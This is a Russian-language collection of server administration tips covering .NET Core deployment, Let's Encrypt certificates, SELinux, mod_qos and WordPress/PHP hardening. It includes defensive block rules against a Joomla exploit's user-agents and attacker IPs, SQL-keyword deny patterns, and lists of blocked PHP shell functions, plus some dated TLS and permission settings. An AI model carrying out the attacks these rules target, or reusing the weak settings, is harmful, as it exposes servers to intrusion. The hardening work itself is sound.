  • Настройка прав пользователя Сервер и соединение Для того что бы развернуть приложение на .NET Core нам необходима виртуальная машина на Ubuntu - на ней мы и запустим наше первое приложение. Подключиться можно через SSH Установка .net Core + ASP.net Core Для начала нам нужно подключить репозиторий для того чтобы в последующем установить все нужные нам пакеты. wget https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb -O packages-microsoft-prod.deb sudo dpkg -i packages-microsoft-prod.deb Установка пакетов sudo apt-get update sudo apt-get install -y apt-transport-https sudo apt-get update sudo apt-get install -y dotnet-sdk-3.1 sudo apt-get install -y aspnetcore-runtime-3.1 Сборка приложения На этом этапе нам нужно скомпилировать приложение и получить исполняемые файлы которые мы будем запускать в виртуальной машине. Создадим проект dotnet new webapp -o ProjectName cd ProjectName Сборка приложения dotnet publish --configuration Release В итоге мы получим в каталоге проекта по пути /bin/Release/ исполняемые файлы приложения. Nginx и всё что с ним связано Установка пакетов sudo apt install nginx sudo service nginx start В браузере должна открыться стартовая страница Nginx по умолчанию. Целевая страница доступна по адресу http://server_IP_address Настройка конфигурации Для того чтобы настроить сервер так как нам нужно необходимо отредактировать конфиг Nginx в директории /etc/nginx/sites-available/ sudo vi /etc/nginx/sites-available/default server { listen 80; server_name example.com *.example.com; location / { proxy_pass http://localhost:5000; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection keep-alive; proxy_set_header Host $host; proxy_cache_bypass $http_upgrade; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } } Сервис приложения Создайте файл определения службы. sudo vi /etc/systemd/system/dotnetapp.service Добавляем конфигурацию сервиса [Unit] Description=Example .NET Web API App running on Ubuntu [Service] WorkingDirectory=/var/www/helloapp ExecStart=/usr/bin/dotnet /var/www/helloapp/helloapp.dll Restart=always # Restart service after 10 seconds if the dotnet service crashes: RestartSec=10 KillSignal=SIGINT SyslogIdentifier=dotnet-example User=www-data Environment=ASPNETCORE_ENVIRONMENT=Production Environment=DOTNET_PRINT_TELEMETRY_MESSAGE=false [Install] WantedBy=multi-user.target Запуск сервиса sudo systemctl enable dotnetapp.service Проверка статуса сервиса sudo systemctl status dotnetapp.service Перезапуск сервиса sudo systemctl restart dotnetapp.service Daemon reload sudo systemctl daemon-reload Настройка прав пользователя Группа www-data Пользователь (www-data) должен существовать и иметь права владельца в отношении файлов приложения. www-data создаётся автоматически при установке Nginx. Для того чтобы Nginx мог работать с каталогом нашего приложения нужно каталогу присвоить права пользователя www-data. sudo chown username:www-data /var/www/ -R sudo systemctl restart dotnetapp.service sudo chown -R www-data:username /var/www/* sudo systemctl status dotnetapp.service
  •  
    ----* Решение проблемы с постингом русских сообщений в phpBB+PostgreSQL   Автор: frozer  [обсудить]
     
    Проблема: при постинге в форму сообщений на русском языки иногда вываливается ошибка скрипта 
       insludes/function_search.php
    
    Решение: 
    запустить psql
       >ALTER TABLE phpbb_search_wordlist DROP CONSTRAINT   phpbb_search_wordlist_pkey;
       >CREATE INDEX phpbb_search_wordlist_pkey ON phpbb_search_wordlist (word_text);
    
     

       Ограничение доступа и ресурсов, безопасность

    ----* Диапазоны IP-адресов облачных сервисов Amazon, Google, OVH, DigitalOcean и Microsoft (доп. ссылка 1)   [комментарии]
     
    Иногда на сервере возникает необходимость динамического определения подключения
    пользователя, транзитно использующего окружение в одном из арендуемых облачных сервисов.
    
    Проект cloud-ranges поддерживает актуальную БД диапазонов адресов различных
    облачных операторов, которую можно загрузить со страницы
    
       https://github.com/pry0cc/cloud-ranges/tree/master/companies
    
    
    Также могут оказаться полезными база IP в привязке к странам: 
    
       ftp://ftp.ripe.net/ripe/dbase/split/ripe.db.inetnum.gz
    
    и базы адресов выходных узлов Tor:
    
       https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=IP_текущего хоста
       https://www.dan.me.uk/torlist/ 
       https://torstatus.rueckgr.at/ip_list_all.php/Tor_ip_list_ALL.csv 
       https://raw.githubusercontent.com/Machou/tor-ip-list/master/Tor_ip_list_ALL.csv
    
    
    Преобразовать указанные списки для mod_geo или mod_geo2 можно простым скриптом, например,
    
    
    curl
    https://raw.githubusercontent.com/Machou/tor-ip-list/master/Tor_ip_list_ALL.csv https://torstatus.rueckgr.at/ip_list_all.php/Tor_ip_list_ALL.csv
     | sort| uniq | grep
    -v "^#" |grep -E '^[0-9]+\.[0-9]+\.[0-9]+' | sed 's/$/ TT/' > /etc/httpd/conf/tor_db.txt
    
    После включения mod_geo2 в Apache
     
       LoadModule geo2_module        /usr/lib64/httpd/modules/mod_geo2.so
       <IfModule geo2_module>
           GEOTable /etc/httpd/conf/tor_db.txt
           GEOActive Off
       </IfModule>
    
    в скриптах можно узнавать факт подключения через облачных провайдеров или Tor
    анализируя переменную окружения "HTTP_IP_GEO" (в примере выше для адресов Tor
    будет выставляться значение "TT").
    
     
    ----* Наиболее простой способ получения и обновления сертификатов Let's Encrypt   [комментарии]
     
    В рамках проекта dehydrated (https://github.com/lukas2511/dehydrated)
    развивается shell-скрипт для автоматизации действий по получению
    SSL-сертификатов в некоммерческом удостоверяющем центре Let's Encrypt
    (https://letsencrypt.org/). Регистрация в сервисе, получение сертификата и его
    последующее обновление предельно упрощено и требует только указания домена в
    файле конфигурации, создания проверочного пути на сайте и запуска скрипта.
    
    Пользователи RHEL/CentOS могут установить dehydrated из репозитория
    EPEL:
    
       yum install dehydrated
    
    Скрипт также присутствует в портах FreeBSD, в репозитории Fedora, Ubuntu и
    многих других дистрибутивов Linux.
    
    После установки прописываем домены, для которых необходим сертификат, в файле
    /etc/dehydrated/domains.txt (можно определить несколько строк с разными
    доменами для разных сертификатов):
    
       example.com www.example.com
       example2.com www.example2.com test.example2.com
    
    В иерархии каталогов, в которых хранится контент example.com, создаём каталог
    .well-known и подкаталог acme-challenge, в которых будет создан временный  файл
    для проверки наличия контроля за сайтом:
    
       mkdir /var/www/htdocs/.well-known
       mkdir /var/www/htdocs/.well-known/acme-challenge
    
    Указываем в файле конфигурации /etc/dehydrated/config каталоги и email для
    связи, остальные параметры можно оставить по умолчанию:
    
       WELLKNOWN="/var/www/htdocs/.well-known/acme-challenge"
       CONTACT_EMAIL="example@examplemail.com"
    
    Далее запускаем скрипт dehydrated с опцией "-с", которой достаточно для
    большинства ситуаций. После первого запуска будет совершена регистрация в Let's
    Encrypt, после чего будет инициирован процесс проверки путем генерации токена в
    директории .well-known/acme-challenge с его последующим внешним запросом.
    
       dehydrated -c
    
       # INFO: Using main config file /etc/dehydrated/config
       # INFO: Using additional config file /etc/dehydrated/conf.d/local.sh
       Processing example.com with alternative names: www.example.com
        + Signing domains...
        + Creating new directory /etc/dehydrated/certs/example.com ...
        + Generating private key...
        + Generating signing request...
        + Requesting challenge for example.com...
    
    Если проверка прошла удачно, готовые сертификаты будут сохранены в каталог
    /etc/dehydrated/certs/example.com, который можно указать в настройках сервера.
    Например, в nginx:
    
    
            ssl on;
            ssl_protocols        TLSv1 TLSv1.1 TLSv1.2;
            ssl_certificate      /etc/dehydrated/certs/example.com/fullchain.pem;
            ssl_certificate_key  /etc/dehydrated/certs/example.com/privkey.pem;
            ssl_session_cache    shared:SSL:10m;
            ssl_session_timeout  10m;
            ssl_ciphers 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA';
            ssl_prefer_server_ciphers on;
            ssl_dhparam /etc/nginx/ssl/dhparams.pem; # генерируется через "openssl dhparam -dsaparam -out /etc/nginx/ssl/dhparams.pem 2048"
    
    В случае повторного запуска "dehydrated -c" будет выполнена проверка срока
    действия сертификата и если до окончания его действия остаётся менее 30 дней
    будет запрошено обновление. Для автоматизации поддержания сертификатов можно
    добавить "dehydrated -c" в cron.
    
    
       dehydrated -c
    
       # INFO: Using main config file /etc/dehydrated/config
       # INFO: Using additional config file /etc/dehydrated/conf.d/local.sh
       Processing example.com with alternative names: www.example.com
        + Checking domain name(s) of existing cert... unchanged.
        + Checking expire date of existing cert...
        + Valid till Sep 11 03:53:00 2017 GMT (Longer than 30 days). Skipping renew!
    
    После обновления сертификата не забудьте перезапустить HTTP-сервер:
    
       systemctl restart nginx
    
    В случае необходимости получения сертификатов для нескольких доменов, следует
    для всех сайтов позаботиться о пробросе проверочных запросов в каталог,
    заданный в переменной WELLKNOWN (проверка осуществляется через запрос
    http://example.com/.well-known/acme-challenge/m4g1C-t0k3n). Например, можно
    добавить в конфигурацию хоста в nginx:
    
    
       location /.well-known/acme-challenge {
          alias /var/www/htdocs/.well-known/acme-challenge;
       }
    
     
    ----* Блокировка атаки на Joomla силами nginx и apache (доп. ссылка 1)   [комментарии]
     
    Продолжается массовая атака на сайты под управлением Joomla. К сожалению на
    базе данной CMS в сети много сайтов, администраторы которых не спешат
    устанавливать обновления. На системах хостинга можно попытаться блокировать
    типовую автоматизированную атаку централизованно, на стороне сервера.
    
    Для блокировки можно заблокировать обращение c User Agent
    "JDatabaseDriverMysql" и "O:", а также запретить обращение c IP-адресов, с
    которых зафиксировано проведение атаки.
    
    Пример для nginx:
    
       http {
           map $http_user_agent $blocked_ua {
               ~(?i)JDatabaseDriverMysql 1;
               ~(?i)O: 1;
               default 0;
           }
           map $remote_addr $blocked_ip {
              74.3.170.33 1;
              146.0.72.83 1;
              194.28.174.106 1;
              default 0;
           }
           server {
               listen 80;
               if ($blocked_ua) { return 403; }
               if ($blocked_ip) { return 403; }
               # ...
           }
       }
    
    
    Пример для apache httpd:
    
       RewriteCond %{REMOTE_ADDR} =74.3.170.33 [OR]
       RewriteCond %{REMOTE_ADDR} =146.0.72.83 [OR]
       RewriteCond %{REMOTE_ADDR} =194.28.174.106
       RewriteRule .* / [F]
    
       RewriteCond %{HTTP_USER_AGENT} JDatabaseDriverMysql [OR]
       RewriteCond %{HTTP_USER_AGENT} O\:
       RewriteRule .* / [F]
    
     
    ----* Получение сертификата через общедоступный удостоверяющий центр LetsEncrypt (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Удостоверяющий центр LetsEncrypt контролируется сообществом и позволяет
    любому желающему бесплатно получить TLS-сертификат для организации доступа
    через защищённое соединение к своему сайту. Для прохождения верификации перед
    получением сертификата достаточно продемонстрировать контроль над доменом через
    размещения файла с ключом на web-сервере или запуска специального
    автоматизированного крипта.
    
    Инструментарий для верификации домена и управления сертификатами можно загрузить с сайта проекта:
    
       git clone https://github.com/letsencrypt/letsencrypt
       cd letsencrypt
       ./letsencrypt-auto --help
    
    или установить готовые пакеты для Fedora 23:
    
       dnf install letsencrypt
    
    
    Основные методы верификации:
    
    1. Ручной метод: генерация кода подтверждения и его копирование на  web-сервер. 
    Генерируем проверочный код:
    
        letsencrypt --text --email recovery@example.com --domains www.example.com,example.com,foo.example.com --agree-tos --renew-by-default --manual certonly
    
    Записываем полученный код на web-сервер в файл
    .well-known/acme-challenge/anotherrandomthinghere, относительно корня сайта:
    
       cd /var/www/html
       mkdir -p .well-known/acme-challenge
       echo "224234fSDFSF23SFADASD" > .well-known/acme-challenge/anotherrandomthinghere
    
    
    
    2. Самодостаточная проверка: на время проверки letsencrypt берёт на себя
    функции  http-сервера, связанного с верифицируемым доменом (хост, на который
    указывает "A" запись в DNS), и напрямую отвечает на запросы сервиса. На
    сервере, где будет обслуживаться домен запускаем (http-сервер сайта должен быть
    отключен, метод подходит для начальной конфигурации ещё не введённых в строй сайтов):
    
       letsencrypt --text --renew-by-default --email recovery@example.com --domains www.example.com,example.com,foo.example.com --agree-tos --standalone --standalone-supported-challenges http-01 certonly
    
    
    3. Проверка через автоматизированное создание файлов к корне web-сервера. На
    сервере, где работает сайт проверяемого домена, запускаем (/var/www/html - путь
    к корню сайта, относительно которого будут временно размещены коды для верификации):
    
      letsencrypt --text --renew-by-default --email recovery@example.com --domains www.example.com,example.com,foo.example.com --agree-tos --webroot --webroot-path /var/www/html certonly
    
    При выполнении автоматизированной проверки от пользователя root готовые
    сертификаты будут скопированы в директорию /etc/letsencrypt. Для их подключения
    к mod_ssl можно выполнить:
    
    
       ln -s /etc/letsencrypt/live/www.example.com/cert.pem /etc/pki/tls/certs/www.example.com.crt
       ln -s /etc/letsencrypt/live/www.example.com/chain.pem /etc/pki/tls/certs/www.example.com.chain.crt
       ln -s /etc/letsencrypt/live/www.example.com/privkey.pem /etc/pki/tls/private/www.example.com.key
       cp /etc/httpd/conf.d/ssl.conf{,.backup}
       sed -i 's@\(SSLCertificateFile\) .*@\1 /etc/pki/tls/certs/www.example.com.crt@' /etc/httpd/conf.d/ssl.conf
       sed -i 's@\(SSLCertificateKeyFile\) .*@\1 /etc/pki/tls/private/www.example.com.key@' /etc/httpd/conf.d/ssl.conf
       sed -i 's@#\(SSLCertificateChainFile\) .*@\1 /etc/pki/tls/certs/www.example.com.chain.crt@' /etc/httpd/conf.d/ssl.conf
    
    
    После чего нужно сделать директории с сертификатами доступными в SELinux-контексте cert_t:
    
       semanage fcontext -a -t cert_t '/etc/letsencrypt/(archive|live)(/.*)?'
       restorecon -Rv /etc/letsencrypt
    
    По умолчанию время жизни сертификата LetsEncrypt составляет 90 дней, что
    требует настройки автоматизации обновления сертификата. Например, раз в 60 дней
    через cron можно вызывать скрипт, который будет продлевать сертификат на
    очередные 90 дней:
    
       /usr/bin/letsencrypt -d www.example.com --renew-by-default -m recovery@example.com --agree-tos -t --webroot -w /var/www/html certonly
    
    Пример unit-файла /etc/systemd/system/www-example-com-renewal.service для обновления сертификатов:
    
    
       [Unit]
       Description=Automatically renew the www.example.com certificate
    
       [Service]
       Type=oneshot
       ExecStart=/usr/bin/letsencrypt -d www.example.com --renew-by-default -m recovery@example.com --agree-tos -t --webroot -w /var/www/html certonly
       ExecStart=/usr/sbin/systemctl reload httpd
    
    
    Файл автозапуска /etc/systemd/system/www-example-com-renewal.timer:
    
       [Unit]
       Description=Trigger an automatic renewal every month
    
       [Timer] 
       OnCalendar=monthly
       Persistent=true
    
       [Install]
       WantedBy=multi-user.target
    
    В случае необходимости отзыва сертификата, например, после утечки закрытых
    ключей, можно выполнить команду:
    
       letsencrypt revoke --cert-path /etc/letsencrypt/archive/www.example.com/cert1.pem
    
    
    Для упрощения работы с сервисом можно использовать скрипт-обвязку https://github.com/lukas2511/letsencrypt.sh
    
     
    ----* Как сменить корень документов в Apache/nginx в CentOS 7 и RHEL 7 с SELinux   [комментарии]
     
    По умолчанию для Apache, nginx  и других http-серверов при использовании
    SELinux в CentOS 7 и RHEL 7 область видимости ограничена директорией /var/www.
    Для смены корня документов на /home/site следует включить новые директории в
    правила httpd_sys_content_t и httpd_sys_script_exec_t.
    
    
    Включаем временно:
       chcon -R -t httpd_sys_content_t /home/site
       chcon -R -t httpd_sys_script_exec_t /home/site/cgi-bin
    
    Включаем постоянно:
       semanage fcontext -a -t httpd_sys_content_t "/home/site(/.*)?"
       semanage fcontext -a -t httpd_sys_script_exec_t "/home/site/cgi-bin(/.*)?"
       restorecon -r -v /home/site
    
    
    Отслеживаем возможные проблемы в /var/log/audit/audit.log и при необходимости
    строим свои правила обхода. В качестве шаблона можно использовать результат
    работы утилиты audit2allow:
    
       audit2allow -M policy_name -i /var/log/audit/audit.log 
       semodule -i policy_name.pp
    
    
    Не забываем открыть доступ к сетевым портам на межсетевом экране:
       firewall-cmd --permanent --add-port=80/tcp
       firewall-cmd --permanent --add-port=443/tcp
    
     
    ----* Использование amon для дополнительной защиты PHP-интерпретатора от выполнения внешних программ (доп. ссылка 1)   [комментарии]
     
    Для экспресс-блокировки выполняемых при работе определенного PHP-скрипта
    внешних программ удобно использовать библиотеку amon.so
    (http://www.lucaercoli.it/amon.html), которая подменяет своим обработчиком
    системный вызов execve() и контролирует его выполнение. Библиотека amon.so
    рассчитана на тесное взаимодействие с PHP и учитывает особенности его работы,
    позволяя защититься от простейших атак и блокировать работу бэкдоров, подобных r57shell.
    
    Так как библиотека amon пока отсутствует в стандартных пакетах, загрузим и
    соберем её вручную (пример для Debian/Ubuntu).
    
    Устанавливаем необходимые для сборки компоненты:
    
       apt-get install build-essential
    
    Загружаем amon:
    
       wget http://www.lucaercoli.it/amon/amon.c
    
    Открываем файл amon.c и находим в верхней части строку "char * cmds []", в
    которой определен список допустимых команд. При необходимости правим список на
    своё усмотрение.
    
    По умолчанию список разрешенных программ выглядит следующим образом:
    
       "/usr/sbin/sendmail"
       "/usr/lib/sendmail"
       "/etc/alternatives/lib.sendmail"
       "/usr/lib/sm.bin/sendmail"
       "/usr/bin/mail"
       "/bin/mv"
       "/bin/rm"
       "/usr/bin/unlink"
       "/bin/rmdir"
       "/bin/cp"
       "/bin/date"
       "/bin/bzip2"
       "/bin/gunzip"
       "/bin/gzip"
       "/usr/bin/unzip"
       "/bin/tar"
       "/usr/bin/host"
       "/usr/bin/file"
       "/usr/bin/uptime"
       "/bin/grep"
       "/usr/bin/diff3"
       "/bin/pwd"
    
    Компилируем amon
     
       gcc -fPIC -shared -ldl -o amon.so amon.c
    
    Копируем amon.so в директорию /lib:
    
       mv ./amon.so /lib/
    
    В простейшем случае для защиты php-скрипта, запущенного в командной строке или
    в режиме CGI можно использовать следующий скрипт (php5-cgi-wrapper):
    
       #!/bin/sh
       export LD_PRELOAD=amon.so
       exec /path/del/vero/php5-cgi "$@"
    
    При использовании механизма suEXEC, этот скрипт можно прописать вместо вызова
    php, например, указать в конфигурации apache:
    
       ScriptAlias /php_amon/ "/usr/local/bin/"
       AddHandler php-script .php
       Action php-script /php_amon/php5-cgi-wrapper
    
    В случае необходимости работы php в виде модуля (libapache2-mod-php5),
    работающего внутри Apache, добавляем в /etc/apache2/envvars:
    
       export LD_PRELOAD=amon.so
    
    и перезапускаем apache:
    
       /etc/init.d/apache2 restart
    
    Для проверки загрузилась ли библиотека создадим и запустим простейший скрипт, в
    выводе которого должно быть упоминание amon.so:
    
       <?php
       phpinfo();
       ?>
    
    Для php-скриптов, работающих в режиме FastCGI через mod_fcgid, достаточно
    написать промежуточный shell-скрипт, который использовать для запуска основного php-скрипта:
    
       #!/bin/sh
       export PHPRC=/etc/php5/cgi
       export LD_PRELOAD = amon.so
       exec /usr/lib/cgi-bin/php
    
    
    В ситуации, когда php-скрипт попытается запустить, допустим, /bin/sh, операция
    будет блокирована, а в error.log будет оставлена запись:
    
       sh: command_name: command not found
    
     
    ----* Использование mod_qos для минимизации паразитной нагрузки на сайт (доп. ссылка 1)   [комментарии]
     
    Apache-модуль mod_qos (http://mod-qos.sourceforge.net/) позволяет организовать
    разделение запросов по приоритетам и обеспечить выполнение только приоритетных
    запросов при таких нештатных ситуациях, как перегрузка сервера. В качестве
    реакции при нехватке серверных ресурсов mod_qos может блокировать
    неприоритетные запросы, динамически изменять значения таймаутов, добавлять
    искусственную задержку перед выполнением запроса и принудительно завершать TCP-соединения.
    
    Примеры ситуация, когда можно использовать mod_qos:
    
    * Управление интенсивностью выполнения длительных по времени и ресурсоемких
    запросов, предотвращение одновременного выполнения большого числа таких запросов;
    
    * Защита от исчерпания пропускной способности канала связи из-за слишком
    большого числа одновременных обращений к определенным данным (например, когда
    пользователь сделал доступным для загрузки файл большого размера и широко его разрекламировал)
    
    * Защита от простейших DDoS-атак.
    
    Некоторые примеры ограничений, реализуемых через mod_qos ограничений:
    
    * Ограничение максимального числа одновременных соединений для заданной части
    сайта, URL или виртуального хоста.
    
    * Ограничение пропускной способности, числа запросов в секунду или объема
    трафика в секунду для любой части сайта;
    
    * Ограничение числа выполнения определенных типов запросов в секунду;
    
    * Не применение ограничений для определенных адресов или пользователей;
    
    * Фильтрация по совпадению маски в HTTP-заголовке или теле запроса;
    
    * Ограничение размера передаваемых в рамках запроса данных;
    
    * Ограничение на уровне параметров TCP-соединений, например, ограничение
    максимального числа запросов с одного IP, динамическое изменение keep-alive и т.п.
    
    * Обеспечение доступа с заданных IP в случае исчерпания свободных сокетов.
    
    Пример установки и настройки типовой конфигурации в Debian/GNU Linux
    
    На сайте http://mod-qos.sourceforge.net/ приведен большой набор практических
    примеров конфигурации mod_qos. Рассмотрим типовой вариант.
    
    Так как mod_qos нет в стандартных репозиториях, установим данный модуль из исходных текстов.
    
    Устанавливаем пакеты, необходимые для сборки модулей Apache:
    
       apt-get install apache2-threaded-dev gcc
    
    Загружаем архив с исходными текстами mod_qos с сайта ttp://sourceforge.net/projects/mod-qos/
    
       wget http://downloads.sourceforge.net/project/mod-qos/9.9/mod_qos-9.9.tar.gz?use_mirror=voxel
       tar xvfz mod_qos-9.9.tar.gz
    
    Собираем и устанавливаем:
    
       cd mod_qos-9.9/apache2/
       apxs2 -i -c mod_qos.c
    
    После этого модуль будет установлен как /usr/lib/apache2/modules/mod_qos.so
    
    Активируем модуль в Apache. В директории /etc/apache2/mods-available создаем
    два файла qos.load и qos.conf
    
    В qos.load добавляем строку для загрузки модуля:
    
       LoadModule qos_module /usr/lib/apache2/modules/mod_qos.so
    
    В qos.conf определяем конфигурацию модуля (подобные блоки конфигурации можно
    привязывать к отдельным блокам Location и VirtualHost):
    
       ## Настройка QoS
       <IfModule mod_qos.c>
           # Размер буфера обрабатываемых IP-адресов клиентов. 
           # По умолчанию 50 тыс. На каждый IP тратится 63 байта
           QS_ClientEntries 100000
    
           # Максимальное число одновременных соединений с одного IP
           QS_SrvMaxConnPerIP 50
    
           # Общее максимальное число одновременных обращений к серверу 
           MaxClients              256 
      
           # Понижаем лимит для отдельных URL
           QS_LocRequestLimit      /aaa                100
           QS_LocRequestLimit      /bbb                10
           QS_LocRequestLimit      /ccc                5
           QS_LocRequestLimitMatch "^(/dd1/|/dd2/).*$" 100
    
           # Недопускаем более 50 запросов в секунду для заданного URL
           QS_LocRequestPerSecLimit /download/file.iso 50
    
           # Не распространять правила блокировки на запросы, пришедшие с заголовком mod-qos-login
           QS_VipIPHeaderName      mod-qos-login
    
    
           # Отключаем keep-alive когда достигнуто значение в 70% от максимального лимита соединений
           QS_SrvMaxConnClose      180
    
           # Минимальная скорость поступления запросов и генерации ответов, 
           # позволяет защитить сервер от наводнения медленными запросами, которые длительное время висят без передачи данных
           QS_SrvMinDataRate       150 1200
    
           # Ограничение размера заголовков и тела запроса (следует изменить в соответствии со спецификой сайта)
           # LimitRequestFields      30
           # QS_LimitRequestBody     102400
    
           # Отключаем лимит для заданных подсетей
           QS_SrvMaxConnExcludeIP                    172.18.3.32
           QS_SrvMaxConnExcludeIP                    192.168.10.
    
           # События, связанные с блокировками сохраняем в отдельном логе
           CustomLog     logs/qsaudit_log  "%{qos-path}n%{qos-query}n"
    
           # Ограничиваем размер тела запроса в зависимости от mime-типа (для работы требуется модуль mod_parp):
    
           SetEnvIfNoCase Content-Type application/x-www-form-urlencoded  QS_LimitRequestBody=131072
           SetEnvIfNoCase Content-Type multipart/form-data               QS_LimitRequestBody=131072
           SetEnvIfNoCase Content-Type multipart/mixed                   QS_LimitRequestBody=131072
    
           # Для заданного Location блокируем запросы по масками, для защиты от подстановки SQL запросов
           <Location /app>
              QS_DenyQueryBody              on
              QS_DenyQuery       +s01       deny "(EXEC|SELECT|INSERT|UPDATE|DELETE)"
           </Location>
    
           # Пример установки разных лимитов в зависимости от типа браузера, для ботов ставим более жесткие лимиты
           BrowserMatch             "slurp"        QS_Cond=spider
           BrowserMatch             "googlebot"    QS_Cond=spider
    
           QS_LocRequestLimitMatch       "^(/app/b/|/app/c/).*$"  300
           QS_CondLocRequestLimitMatch   "^(/app/b/|/app/c/).*$"  10   spider
    
    </IfModule>
    
    Активируем модуль и перезапускаем apache:
    
       a2enmod qos
       /etc/init.d/apache2 restart
    
    При просмотре статистики через открытие http://ваш_сайт/server-status можно
    посмотреть дополнительную информацию о работе и настройках mod_qos.
      
    
     
    ----* Увеличение безопасности WordPress на типовом хостинге (доп. ссылка 1)   Автор: Pentarh Udi  [комментарии]
     
    Небольшой дайджест по обеспечению безопасности WordPress и других PHP OpenSource приложений.
    Рассмотрено, что можно сделать на среднестатистическом хостинге.
    
    В общем, safe_mode включать нельзя. Это урежет все до безобразия. Вместо этого мы:
    
       1. Включим open_basedir
       2. Подтюним некоторые настройки php
       3. Выключим шелл вызовы
       4. Выставим нужные права на директории
       5. Для особых извращенцев, включим mod_security
    
    Так же не стоит брезговать базовыми правилами безопасности WordPress (http://www.awmpage.com/2008/10/bezopasnost-wordpress/).
    
    Включаем open_basedir
    ---------------------
    
    Тут все просто. Три настройки в виртуалхосте:
    
       php_admin_value open_basedir "/home/blogs/blog1.foobar.com"
       php_admin_value upload_tmp_dir "/home/blogs/blog1.foobar.com/wp-tmp"
       php_admin_value session.save_path "/home/blogs/blog1.foobar.com/wp-tmp"
    
    Где "/home/blogs/blog1.foobar.com" - корень домена блога. Там необходимо создать директорию 
    "wp-tmp", дать ей права 777 и желательно в эту директорию в том же виртуалхосте запретить доступ:
    
       <Directory /home/blogs/blog1.foobar.com/wp-tmp>
          Order Deny,Allow
          Deny from All
       </Directory>
    
    Мало-ли, может кто то туда сможет чего то записать. И чтобы это что то не было доступно из веба. 
    Так же как и ваши сессии. 
    
    Некоторые дополнительные ограничения PHP5
    -----------------------------------------
    
    Эти настройки внесут дополнительный плюс к безопасности
    
       php_admin_flag track_vars on
       php_admin_flag allow_url_fopen  off
       php_admin_flag allow_url_include off
       php_admin_value memory_limit 30M
       php_admin_flag enable_dl off
    
    Думаю, это не все, что можно сделать с настройками - пожелания приветствуются.
    
    Выключаем шелл вызовы
    ---------------------
    
    open_basedir не распространяется на шелл вызовы php: system,exec,popen,passthru. 
    С другой стороны, зачем вордпрессу эти вызовы? Ну вот и отключим их с помощью disable_functions.
    
       disable_functions="exec,system,passthru,popen"
    
    Далее возникает желание добавить в конфигурацию virtual host такие строки:
    
       php_admin_value "disable_functions" "exec,system,passthru,popen"
    
    Но это не сработает, т.к. disable_functions работает только когда включен в глобальном php.ini.
    
    Конечно, в phpinfo() вы увидите правильное значение disable_functions, 
    однако "отключенные" функции будут продолжать действовать. 
    Разработчики объяснили это тем, что отключать функции на уровне конфигурации 
    апача очень накладно, гораздо проще выключить их вообще из php.ini
    
    Но с другой стороны, шелл вызовы достаточно часто используются в CLI скриптах, 
    в то время как в веб скриптах в большинстве случаев их можно отключить. 
    Значит нужно разделить конфиги CLI и Web. В первом конфиге оставить шелл вызовы, 
    а во втором, более подверженном хаку, их отключить.
    
    Предположим, что дефолтный конфиг php.ini лежит в /usr/local/lib (стандартное место на FreeBSD). 
    Скопируем его в /usr/local/etc/apache2. И на новом месте пропишем нужные disable_functions. 
    Далее, в httpd.conf пишем:
    
       PHPIniDir /usr/local/etc/apache2/conf
    
    И рестартуем апач. Все, теперь CLI и Web версии PHP имеют независимые конфиги и
    в последнем отключены шелл вызовы.
    
    
    Выставляем нужные права на директории
    -------------------------------------
    
    Даже если злоумышленник каким то образом проник внутрь через дырку вордпресса, 
    он начнет сканировать директории в поисках куда бы запихнуть iframe.
    Что же, давайте сделаем его слепым. Предполагается, что директории будут
    сканироваться из под юзера апача.
    
    Предполагается, что директории блогов находятся в /home/blogs/{blog}.domain.com
    
    Значит, на директории /home,/home/blogs,/home/blogs/{blog}.domain.com ставим права 711.
    
    На директорию конфигов апача и ниже - так же ставим 711. Все файлы внутри будут
    иметь аттрибуты 600.
    Все директории и файлы в конфигах апача должны иметь овнера root.
    
    Рекомендуется проделать эти телодвижения со всеми местами, где злоумышленник
    может найти полные пути к блогам.
    
    
    Включаем mod_security
    ---------------------
    
    Это тяжелая артилерия. Для тех, кто не в курсе, mod_security это модуль, 
    который мониторит входящие GET/POST/HEAD запросы и исходящие text/* ответы сервера 
    на предмет наиболее распространенных атак, инъекций и прочей ереси.
    
    Здесь будет описываться mod_security2 для Apache v2.
    
    Конечно, эта штука немного отяжелит апач, но по опыту скажу, что не фатально и оно того стоит. 
    Как ставить mod_security можно узнать в гугле. В простейшем случае на FreeBSD это прекрасно 
    ставится из портов. На CentOS mod_security ставится из репозитория
    http://www.jasonlitka.com/yum-repository/ .
    После прописывания репозитория просто набрать команду
    
       # yum install mod_security
    
    Сразу скажу, mod_security рубит на корню phpmyadmin. По этому в тех приложениях, 
    где mod_security явно вредит, можно его выключить опцией httpd.conf:
    
       SecRuleEngine Off
    
    Так же mod_security откажется работать без модуля mod_unique_id.
    
    Поговорим о том, как паранойю mod_security сделать здоровой :) Этот модуль хорош, 
    когда правильно настроены правила. По умолчанию он идет с параноидальным набором правил. 
    Многие из них вообще ни к чему и их можно свободно отключить. 
    
    В файле modsecurity_crs_10_config.conf, думаю, стоит понизить значение SecDebugLogLevel до 0-2.
    
    Следующие файлы с наборами правил стоит вообще либо закомментировать, либо удалить:
    
       modsecurity_crs_20_protocol_violations.conf
       modsecurity_crs_21_protocol_anomalies.conf
